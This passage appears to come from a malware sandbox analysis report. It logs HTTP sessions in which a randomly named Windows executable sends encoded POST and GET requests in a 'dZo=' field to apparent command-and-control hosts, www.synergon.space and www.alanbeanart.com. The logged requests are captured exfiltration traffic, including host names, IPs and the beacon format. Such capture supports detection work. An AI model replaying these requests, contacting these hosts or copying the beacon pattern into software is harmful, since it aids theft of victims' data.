13	192.168.2.9	54123	109.95.158.127	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:38.362489939 CEST	701	OUT	POST /8unq/ HTTP/1.1 Host: www.synergon.space Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.synergon.space Referer: http://www.synergon.space/8unq/ Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 63 6d 48 72 30 34 6f 51 36 66 57 68 50 4b 59 5a 52 4b 6f 6e 6f 4d 5a 6e 57 7a 2f 6d 43 4a 4b 49 35 73 59 65 38 36 34 67 58 30 4b 6b 65 31 4e 2b 69 30 62 32 6c 38 4e 75 57 61 67 71 4b 2b 6c 4c 57 68 67 52 38 68 75 47 46 59 4a 79 4d 4a 51 43 77 77 4b 7a 35 54 30 36 2b 6f 43 7a 57 45 78 43 6f 76 31 50 67 58 41 72 2b 4a 73 62 46 36 33 6d 4b 38 49 74 73 34 77 70 55 59 38 36 52 64 4b 2b 35 78 48 2f 4e 48 65 50 4b 55 78 54 6c 4c 52 43 36 68 53 6a 44 72 43 73 54 74 71 53 36 57 42 75 6c 68 4a 65 34 41 43 6f 4c 76 6c 2b 4e 69 72 76 72 36 31 57 72 41 68 48 76 6c 65 65 Data Ascii: dZo=cmHr04oQ6fWhPKYZRKonoMZnWz/mCJKI5sYe864gX0Kke1N+i0b2l8NuWagqK+lLWhgR8huGFYJyMJQCwwKz5T06+oCzWExCov1PgXAr+JsbF63mK8Its4wpUY86RdK+5xH/NHePKUxTlLRC6hSjDrCsTtqS6WBulhJe4ACoLvl+Nirvr61WrAhHvlee
Aug 18, 2024 18:25:39.036468983 CEST	1043	IN	HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/5.6.40 content-type: text/html; charset=UTF-8 content-length: 810 content-encoding: br vary: Accept-Encoding date: Sun, 18 Aug 2024 16:25:38 GMT server: LiteSpeed Data Raw: c2 18 01 80 5c 3a ad 5e 33 2a fa 1d 7b ae 23 c8 f8 22 b6 f9 58 a6 54 2f 68 01 11 24 46 5a 07 b8 b9 aa f8 a2 fc fa db af d2 f4 fb cd 10 12 21 d1 e2 b3 84 6a fa 44 48 66 cf 70 4f 44 b5 eb 1c a1 30 89 4b 75 9e 17 17 17 f7 90 4d df 4d e4 1b a7 cc 91 cc 1d 64 1e 25 03 50 06 cd 54 a2 59 af 5a 72 30 c8 e3 d0 42 fd 72 07 58 ca e6 e1 e1 61 c1 08 db 3a 0d 36 30 34 0d 2b 73 18 37 12 7f 8b 01 ff 54 85 cb a6 e8 8b 0f 19 55 8b 3e 10 1f 2c b8 58 5a de e4 8b 23 b7 ea f9 08 dd ba c0 c6 36 c9 34 3c 82 fa 3d 45 4e 56 65 de 68 41 78 d7 a9 4f ae 74 ec 9b d4 70 00 b0 46 60 bc 00 f4 46 36 3c 50 41 e3 3f 81 18 26 a7 81 e7 11 50 7b 0a 34 82 35 04 8b c5 4e 1f 3b 82 60 fe fd 80 ff bf 51 93 85 40 fe 6c 02 7c ff fe dd 24 a4 7c f4 0f 49 81 f9 60 6c 1f 01 e6 27 13 0c 93 7e 94 a2 76 96 73 d8 64 d3 05 4e e4 35 5a 8c 20 d0 78 77 52 14 e0 7b d5 7a bb dd ee a4 60 ba 70 ec ed f4 80 0d 78 0f 29 9e a4 30 63 f3 28 45 8d 62 25 57 d3 e5 96 67 60 de ba 13 f9 08 30 c7 8a cd 89 1e 81 aa 53 4a 11 7f 84 90 4f 68 cd 9e 42 45 aa 06 66 17 9e a4 58 [TRUNCATED] Data Ascii: \:^3{#"XT/h$FZ!jDHfpOD0KuMMd%PTYZr0BrXa:604+s7TU>,XZ#64<=ENVehAxOtpF`F6<PA?&P{45N;`Q@l\|$\|I`l'~vsdN5Z xwR{z`px)0c(Eb%Wg`0SJOhBEfXUQ[un468f'YhoJ">)ZzP(WDr&Z'lLe[H,Ei=qEk4'Ci8BOp>CtpK)D@laRepMx@j`xVH!D\|Nl7&a2G<gzrjA%X$D*k(b8}O)K3e.{AIdZ_T$T^h>B,cOZ6rB}Qbmcg"-RYbxghvli"F9[)FOXp,j~=uq}F)F_-QS6qiPH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	54124	109.95.158.127	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:40.908099890 CEST	725	OUT	POST /8unq/ HTTP/1.1 Host: www.synergon.space Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.synergon.space Referer: http://www.synergon.space/8unq/ Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 63 6d 48 72 30 34 6f 51 36 66 57 68 4a 71 49 5a 42 62 6f 6e 35 73 59 56 5a 54 2f 6d 4d 70 4b 4d 35 72 51 65 38 37 73 77 58 48 69 6b 66 56 64 2b 77 78 37 32 6b 38 4e 75 64 36 67 72 45 65 6c 51 57 68 6c 73 38 67 2b 47 46 5a 74 79 4d 49 67 43 77 42 4b 77 72 54 30 34 6c 34 43 78 59 6b 78 43 6f 76 31 50 67 58 56 77 2b 4e 41 62 45 4a 76 6d 4a 5a 38 75 6c 59 77 71 43 49 38 36 48 64 4c 31 35 78 48 52 4e 43 48 59 4b 52 31 54 6c 4c 42 43 2b 6b 79 67 4b 72 43 71 66 39 72 51 2b 6b 73 39 39 44 4e 30 77 44 43 5a 5a 2b 6c 4f 44 6a 4c 78 36 49 38 4e 2b 58 68 67 6f 43 58 32 78 4f 79 6b 34 71 35 2b 32 32 77 43 67 67 70 35 49 47 41 2b 6f 77 3d 3d Data Ascii: dZo=cmHr04oQ6fWhJqIZBbon5sYVZT/mMpKM5rQe87swXHikfVd+wx72k8Nud6grEelQWhls8g+GFZtyMIgCwBKwrT04l4CxYkxCov1PgXVw+NAbEJvmJZ8ulYwqCI86HdL15xHRNCHYKR1TlLBC+kygKrCqf9rQ+ks99DN0wDCZZ+lODjLx6I8N+XhgoCX2xOyk4q5+22wCggp5IGA+ow==
Aug 18, 2024 18:25:41.578433990 CEST	1043	IN	HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/5.6.40 content-type: text/html; charset=UTF-8 content-length: 810 content-encoding: br vary: Accept-Encoding date: Sun, 18 Aug 2024 16:25:41 GMT server: LiteSpeed Data Raw: c2 18 01 80 5c 3a ad 5e 33 2a fa 1d 7b ae 23 c8 f8 22 b6 f9 58 a6 54 2f 68 01 11 24 46 5a 07 b8 b9 aa f8 a2 fc fa db af d2 f4 fb cd 10 12 21 d1 e2 b3 84 6a fa 44 48 66 cf 70 4f 44 b5 eb 1c a1 30 89 4b 75 9e 17 17 17 f7 90 4d df 4d e4 1b a7 cc 91 cc 1d 64 1e 25 03 50 06 cd 54 a2 59 af 5a 72 30 c8 e3 d0 42 fd 72 07 58 ca e6 e1 e1 61 c1 08 db 3a 0d 36 30 34 0d 2b 73 18 37 12 7f 8b 01 ff 54 85 cb a6 e8 8b 0f 19 55 8b 3e 10 1f 2c b8 58 5a de e4 8b 23 b7 ea f9 08 dd ba c0 c6 36 c9 34 3c 82 fa 3d 45 4e 56 65 de 68 41 78 d7 a9 4f ae 74 ec 9b d4 70 00 b0 46 60 bc 00 f4 46 36 3c 50 41 e3 3f 81 18 26 a7 81 e7 11 50 7b 0a 34 82 35 04 8b c5 4e 1f 3b 82 60 fe fd 80 ff bf 51 93 85 40 fe 6c 02 7c ff fe dd 24 a4 7c f4 0f 49 81 f9 60 6c 1f 01 e6 27 13 0c 93 7e 94 a2 76 96 73 d8 64 d3 05 4e e4 35 5a 8c 20 d0 78 77 52 14 e0 7b d5 7a bb dd ee a4 60 ba 70 ec ed f4 80 0d 78 0f 29 9e a4 30 63 f3 28 45 8d 62 25 57 d3 e5 96 67 60 de ba 13 f9 08 30 c7 8a cd 89 1e 81 aa 53 4a 11 7f 84 90 4f 68 cd 9e 42 45 aa 06 66 17 9e a4 58 [TRUNCATED] Data Ascii: \:^3{#"XT/h$FZ!jDHfpOD0KuMMd%PTYZr0BrXa:604+s7TU>,XZ#64<=ENVehAxOtpF`F6<PA?&P{45N;`Q@l\|$\|I`l'~vsdN5Z xwR{z`px)0c(Eb%Wg`0SJOhBEfXUQ[un468f'YhoJ">)ZzP(WDr&Z'lLe[H,Ei=qEk4'Ci8BOp>CtpK)D@laRepMx@j`xVH!D\|Nl7&a2G<gzrjA%X$D*k(b8}O)K3e.{AIdZ_T$T^h>B,cOZ6rB}Qbmcg"-RYbxghvli"F9[)FOXp,j~=uq}F)F_-QS6qiPH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	54125	109.95.158.127	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:43.450443029 CEST	1738	OUT	POST /8unq/ HTTP/1.1 Host: www.synergon.space Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.synergon.space Referer: http://www.synergon.space/8unq/ Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 63 6d 48 72 30 34 6f 51 36 66 57 68 4a 71 49 5a 42 62 6f 6e 35 73 59 56 5a 54 2f 6d 4d 70 4b 4d 35 72 51 65 38 37 73 77 58 42 36 6b 66 6a 52 2b 7a 58 7a 32 6a 38 4e 75 51 61 67 75 45 65 6c 64 57 6c 78 67 38 6c 6d 34 46 62 6c 79 4d 71 6f 43 32 7a 69 77 68 54 30 34 73 59 43 77 57 45 78 58 6f 76 6c 51 67 58 46 77 2b 4e 41 62 45 50 44 6d 64 63 49 75 6a 59 77 70 55 59 38 6d 52 64 4c 64 35 31 72 6e 4e 47 61 6c 4b 46 42 54 6b 71 78 43 34 41 53 67 46 72 43 6f 65 4e 72 79 2b 6b 68 6c 39 41 34 48 77 41 66 4d 5a 34 56 4f 42 58 4b 53 6f 71 6b 67 6a 58 39 4d 76 68 2f 75 31 4c 71 67 6d 34 67 43 76 44 67 43 2f 7a 63 36 4a 6a 70 72 31 42 78 6b 6f 64 68 49 51 32 48 69 2f 50 33 57 74 4f 50 41 39 30 39 73 62 64 31 58 73 70 6b 4d 53 6f 4f 6c 4c 56 61 36 2f 4d 4b 77 35 75 2f 74 32 74 43 4d 51 42 33 76 48 6c 42 44 6f 53 67 51 2f 78 30 74 56 52 70 59 4d 76 67 70 56 64 58 6f 48 38 37 33 36 52 67 6d 56 32 65 6e 54 6a 48 70 36 48 77 44 39 54 7a 57 59 6c 31 37 50 42 79 53 79 6e 50 44 68 50 54 75 6e 55 4c 5a 61 58 [TRUNCATED] Data Ascii: dZo=cmHr04oQ6fWhJqIZBbon5sYVZT/mMpKM5rQe87swXB6kfjR+zXz2j8NuQaguEeldWlxg8lm4FblyMqoC2ziwhT04sYCwWExXovlQgXFw+NAbEPDmdcIujYwpUY8mRdLd51rnNGalKFBTkqxC4ASgFrCoeNry+khl9A4HwAfMZ4VOBXKSoqkgjX9Mvh/u1Lqgm4gCvDgC/zc6Jjpr1BxkodhIQ2Hi/P3WtOPA909sbd1XspkMSoOlLVa6/MKw5u/t2tCMQB3vHlBDoSgQ/x0tVRpYMvgpVdXoH8736RgmV2enTjHp6HwD9TzWYl17PBySynPDhPTunULZaX7uQ8/tSCS1au93s9udotGMNEX+0KMem/iSMik4qkx0QQak7pJ5Q0P/F6EqFuU436HH/72D9Ufg28re5NahAPRwm6wZP3gwnKTlw/uwhvDAFzGYZAwg7Ky4G1JxSNl5DHcaEOzUq/YmBChep2PbcA5/wRSO0OJdh7PlZXKRZv3Ng0e6dwfweT+pBfX2rM0TCx8yQUsh0LssRhfkpPgtFQ5eAvdYi+ZNElTu/l3U7gx1VbcljrTjfV7AXVCtniTQIhiVdZWcNd6Xfw8h6nFrO2m2a95HHywX40ha8KHZjUM0pqbHT7w4e53t8Suk627HDgu+OI+nGmyxphENt/fmp3ixsVAEnSkv70+kdK+jQhru+lds9kljKDLqR4H6AcQIpHzzLgp9XGZU5m5O2/FBWQrtkzeEdJXCwNL35Bnfcglej9JgToaHa2XgNe3voBrg3kIAioWv2nYpUo53ffSI7OHLrcKL5D4XR7X4nl2MVAP/sgs9msPjiSaG2SAACJHlm7jf8rQ1HpcfUQXryaDw8faHgNEXvsQIdOlAdsajS4RJjBznVK1qSaXQfIvJr4ms8IzmsBnXU6zSc0mjlQK+40rdhdc4HI+lNk7qRMvZrqH3MK35lT667HjpMC4K/t/QC4ANlPfmHY5n3ULHFsgHyD3T6j23XtES8ZTf [TRUNCATED]
Aug 18, 2024 18:25:44.121920109 CEST	1043	IN	HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/5.6.40 content-type: text/html; charset=UTF-8 content-length: 810 content-encoding: br vary: Accept-Encoding date: Sun, 18 Aug 2024 16:25:44 GMT server: LiteSpeed Data Raw: c2 18 01 80 5c 3a ad 5e 33 2a fa 1d 7b ae 23 c8 f8 22 b6 f9 58 a6 54 2f 68 01 11 24 46 5a 07 b8 b9 aa f8 a2 fc fa db af d2 f4 fb cd 10 12 21 d1 e2 b3 84 6a fa 44 48 66 cf 70 4f 44 b5 eb 1c a1 30 89 4b 75 9e 17 17 17 f7 90 4d df 4d e4 1b a7 cc 91 cc 1d 64 1e 25 03 50 06 cd 54 a2 59 af 5a 72 30 c8 e3 d0 42 fd 72 07 58 ca e6 e1 e1 61 c1 08 db 3a 0d 36 30 34 0d 2b 73 18 37 12 7f 8b 01 ff 54 85 cb a6 e8 8b 0f 19 55 8b 3e 10 1f 2c b8 58 5a de e4 8b 23 b7 ea f9 08 dd ba c0 c6 36 c9 34 3c 82 fa 3d 45 4e 56 65 de 68 41 78 d7 a9 4f ae 74 ec 9b d4 70 00 b0 46 60 bc 00 f4 46 36 3c 50 41 e3 3f 81 18 26 a7 81 e7 11 50 7b 0a 34 82 35 04 8b c5 4e 1f 3b 82 60 fe fd 80 ff bf 51 93 85 40 fe 6c 02 7c ff fe dd 24 a4 7c f4 0f 49 81 f9 60 6c 1f 01 e6 27 13 0c 93 7e 94 a2 76 96 73 d8 64 d3 05 4e e4 35 5a 8c 20 d0 78 77 52 14 e0 7b d5 7a bb dd ee a4 60 ba 70 ec ed f4 80 0d 78 0f 29 9e a4 30 63 f3 28 45 8d 62 25 57 d3 e5 96 67 60 de ba 13 f9 08 30 c7 8a cd 89 1e 81 aa 53 4a 11 7f 84 90 4f 68 cd 9e 42 45 aa 06 66 17 9e a4 58 [TRUNCATED] Data Ascii: \:^3{#"XT/h$FZ!jDHfpOD0KuMMd%PTYZr0BrXa:604+s7TU>,XZ#64<=ENVehAxOtpF`F6<PA?&P{45N;`Q@l\|$\|I`l'~vsdN5Z xwR{z`px)0c(Eb%Wg`0SJOhBEfXUQ[un468f'YhoJ">)ZzP(WDr&Z'lLe[H,Ei=qEk4'Ci8BOp>CtpK)D@laRepMx@j`xVH!D\|Nl7&a2G<gzrjA%X$D*k(b8}O)K3e.{AIdZ_T$T^h>B,cOZ6rB}Qbmcg"-RYbxghvli"F9[)FOXp,j~=uq}F)F_-QS6qiPH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	54126	109.95.158.127	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:45.996210098 CEST	440	OUT	GET /8unq/?dZo=RkvL3PdT4df/OPkOf449nqUAFGXcSYeZ27MerosBZGKwWjBg2nbmkc0XZ9UwXf1WVngj3AiTKIg7OIM24x6m5z8EhJuaQ15Cv8EbgH9K+rgnKqPuIQ==&gta=rzqXf4A02FEl_8 HTTP/1.1 Host: www.synergon.space Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 18, 2024 18:25:46.635668039 CEST	1236	IN	HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/5.6.40 content-type: text/html; charset=UTF-8 content-length: 2247 date: Sun, 18 Aug 2024 16:25:46 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 70 6c 22 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 41 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 68 6f 73 74 69 6e 67 2e 70 6c 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 43 6f 70 79 72 69 67 68 74 22 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl"><head><meta http-equiv="Content-type" content="text/html;charset=UTF-8" /><meta name="Author" content="dhosting.pl" /><meta name="Copyright" content="dhosting.pl" /><meta name="Language" content="pl" /><meta name="Robots" content="index, follow" /><title>dhosting.pl - pod tym adresem nie znajduje si aden serwis WWW</title><style type="text/css">a:link, a:visited{font: 12px verdana, sans-serif;color:#333;text-decoration:none;}img{border:0px;}a:hover, a:active{color:#000;text-decoration:underline;}#tresc{font: 12px verdana, sans-serif;color: #333;}#foot{font: 10px verdana, sans-serif;color:#606060;text-align:center;position:absolute;bottom:5px;width:99%;}.f:link, .f:visited{font-size:10px;font-weight: bold;font-family: verdana, sans-ser [TRUNCATED]
Aug 18, 2024 18:25:46.635730982 CEST	1200	IN	Data Raw: 6e 3a 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 2e 66 3a 68 6f 76 65 72 2c 20 2e 66 3a 61 63 74 69 76 65 7b 0d 0a 63 6f 6c 6f 72 3a 23 32 30 32 30 32 30 3b 0d 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d Data Ascii: n:none;}.f:hover, .f:active{color:#202020;text-decoration:underline;}</style></head><body><div style="text-align:center;"><a href="https://dhosting.pl" rel="nofollow"><img src="https://dhosting.pl/img/logo.svg" alt="dho

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	54127	3.33.130.190	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:51.675002098 CEST	704	OUT	POST /7ie4/ HTTP/1.1 Host: www.alanbeanart.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.alanbeanart.com Referer: http://www.alanbeanart.com/7ie4/ Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 51 57 75 59 39 30 47 6f 6e 75 49 7a 44 6c 34 64 67 64 45 39 43 72 5a 64 30 4b 6f 6a 44 79 79 78 53 67 73 51 48 49 41 4c 6c 4c 5a 79 73 2b 78 6f 47 65 61 6b 4d 35 56 65 2b 75 50 59 64 51 54 67 4b 48 79 41 41 63 6a 71 69 43 4f 52 63 62 61 68 49 77 64 45 7a 30 4e 64 53 76 72 37 4f 36 4e 44 53 43 6f 54 58 6d 39 72 41 70 73 76 34 79 36 75 42 65 61 52 65 32 6a 77 7a 46 6f 78 67 6f 71 57 4a 6e 37 36 78 59 33 38 48 30 58 51 6a 68 5a 66 53 2f 71 6c 4a 42 53 4b 39 46 56 43 31 33 72 65 34 45 46 66 63 42 66 6d 63 6d 43 48 51 5a 6f 66 70 38 44 67 68 37 61 2b 4b 42 50 33 Data Ascii: dZo=QWuY90GonuIzDl4dgdE9CrZd0KojDyyxSgsQHIALlLZys+xoGeakM5Ve+uPYdQTgKHyAAcjqiCORcbahIwdEz0NdSvr7O6NDSCoTXm9rApsv4y6uBeaRe2jwzFoxgoqWJn76xY38H0XQjhZfS/qlJBSK9FVC13re4EFfcBfmcmCHQZofp8Dgh7a+KBP3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	54128	3.33.130.190	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:54.216761112 CEST	728	OUT	POST /7ie4/ HTTP/1.1 Host: www.alanbeanart.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.alanbeanart.com Referer: http://www.alanbeanart.com/7ie4/ Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 51 57 75 59 39 30 47 6f 6e 75 49 7a 44 45 49 64 6d 36 77 39 56 37 5a 65 6f 36 6f 6a 4e 53 79 74 53 68 51 51 48 4a 45 68 6c 59 39 79 74 63 5a 6f 48 62 75 6b 50 35 56 65 71 2b 4f 51 41 41 54 72 4b 48 2b 2b 41 65 6e 71 69 43 61 52 63 65 6d 68 4a 48 70 4c 7a 6b 4e 62 59 2f 72 35 41 61 4e 44 53 43 6f 54 58 6e 59 4f 41 71 63 76 34 48 79 75 48 2f 61 53 41 6d 6a 7a 30 46 6f 78 6b 6f 71 61 4a 6e 36 70 78 5a 62 61 48 32 76 51 6a 68 4a 66 56 74 53 6d 44 42 53 4d 69 56 55 75 30 46 2f 58 35 7a 64 67 55 79 72 30 4d 31 53 76 65 59 49 42 34 4f 4b 37 30 73 61 5a 4e 6d 47 66 44 69 42 2b 47 75 49 59 77 78 30 62 48 63 35 6b 34 65 72 59 2f 67 3d 3d Data Ascii: dZo=QWuY90GonuIzDEIdm6w9V7Zeo6ojNSytShQQHJEhlY9ytcZoHbukP5Veq+OQAATrKH++AenqiCaRcemhJHpLzkNbY/r5AaNDSCoTXnYOAqcv4HyuH/aSAmjz0FoxkoqaJn6pxZbaH2vQjhJfVtSmDBSMiVUu0F/X5zdgUyr0M1SveYIB4OK70saZNmGfDiB+GuIYwx0bHc5k4erY/g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	54129	3.33.130.190	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:56.946115971 CEST	1741	OUT	POST /7ie4/ HTTP/1.1 Host: www.alanbeanart.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.alanbeanart.com Referer: http://www.alanbeanart.com/7ie4/ Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 51 57 75 59 39 30 47 6f 6e 75 49 7a 44 45 49 64 6d 36 77 39 56 37 5a 65 6f 36 6f 6a 4e 53 79 74 53 68 51 51 48 4a 45 68 6c 59 31 79 73 76 68 6f 47 34 32 6b 4f 35 56 65 32 4f 4f 52 41 41 54 79 4b 45 4f 36 41 65 37 36 69 48 65 52 63 37 71 68 63 46 42 4c 34 6b 4e 62 57 76 72 38 4f 36 4e 57 53 44 45 58 58 6d 6f 4f 41 71 63 76 34 41 43 75 48 75 61 53 43 6d 6a 77 7a 46 6f 48 67 6f 72 50 4a 6e 69 35 78 5a 66 73 47 47 50 51 6a 46 56 66 51 59 2b 6d 65 52 53 4f 68 56 55 32 30 46 69 50 35 33 31 47 55 7a 66 53 4d 31 61 76 64 74 56 61 6f 76 2b 76 31 2f 66 78 50 31 71 61 44 69 4e 5a 50 64 31 2f 69 6a 45 75 54 76 55 57 36 50 4b 49 2f 67 4e 36 39 47 54 50 7a 69 6f 69 4c 34 70 4d 4a 65 74 72 72 6d 43 62 68 62 52 46 6d 32 6f 65 34 53 34 63 2b 31 73 34 5a 58 64 6d 52 4e 6e 4b 36 4a 4a 77 66 59 36 58 4a 77 7a 36 55 76 30 69 72 6c 32 74 6b 45 2b 56 4a 6a 65 43 64 31 73 35 50 46 76 59 6b 64 75 37 51 7a 4d 58 48 4b 44 51 33 6c 61 44 74 34 78 6d 71 73 62 63 6c 41 6b 52 6c 73 34 6c 2b 79 37 6b 6c 2b 4e 2b 58 56 [TRUNCATED] Data Ascii: dZo=QWuY90GonuIzDEIdm6w9V7Zeo6ojNSytShQQHJEhlY1ysvhoG42kO5Ve2OORAATyKEO6Ae76iHeRc7qhcFBL4kNbWvr8O6NWSDEXXmoOAqcv4ACuHuaSCmjwzFoHgorPJni5xZfsGGPQjFVfQY+meRSOhVU20FiP531GUzfSM1avdtVaov+v1/fxP1qaDiNZPd1/ijEuTvUW6PKI/gN69GTPzioiL4pMJetrrmCbhbRFm2oe4S4c+1s4ZXdmRNnK6JJwfY6XJwz6Uv0irl2tkE+VJjeCd1s5PFvYkdu7QzMXHKDQ3laDt4xmqsbclAkRls4l+y7kl+N+XVQpfIRqwV8IJfH17Pl6r/qd0DvUhFt4v+agdzYh+2ZxgpKNr8PyXMpAh6LVV15mai3eVQcFk+IKFEI5MjcNYjfJgBEBYJYvXlJp9zcPZwQLvHmdBlv9FImPtBvG0+vdQQh7w2mpqxUhbwBjw/FT9A9CwRBehqP2kcDTW3jftxV/ER51YkB6CHnbB2kHA61HvpnNf4reWmK9iwMIxHTDN5PcRXweg8DbLpWEssWEH/ANhnCWq9owRH6T4IbNRynHX1Xj1AxkeRV+SUDjJ9KbuSZMZAceJFPH9fui7IQlJgKe5oweKsS/UCZNh1gyz0LZ0uxnbVj5vTfNC6arudEyMSvyZCzxgUNATZqVehlf0+wg4we0dMTA6gsWgOV1Hv+gn9aPC4GohoD2qMukZg6/ObOQGhikpmg5suBbTXCV/dfo0Ahir0gk+j5QxQKlJ9krGw/3xSfwc1hJmaySlLyZ7k3IDN8/Hg0vqE1rujNHCzEXJNExA7ZBGu9e/IW5rN//f0snKz6TBCnH0Qtf/ynEgMUMoDFqjb+l49BBuTFUbao/0tc5jO61Jh0dQnGuFYtXB3Uq4UWY7/bqRlY222JhQOABsa+NHpTpnrhBChOgm2/UvIAHFIuv4XLrpJX4olhHyK+1Pee6pvz9off8U2V8669C5fsUoF+MZdEM [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
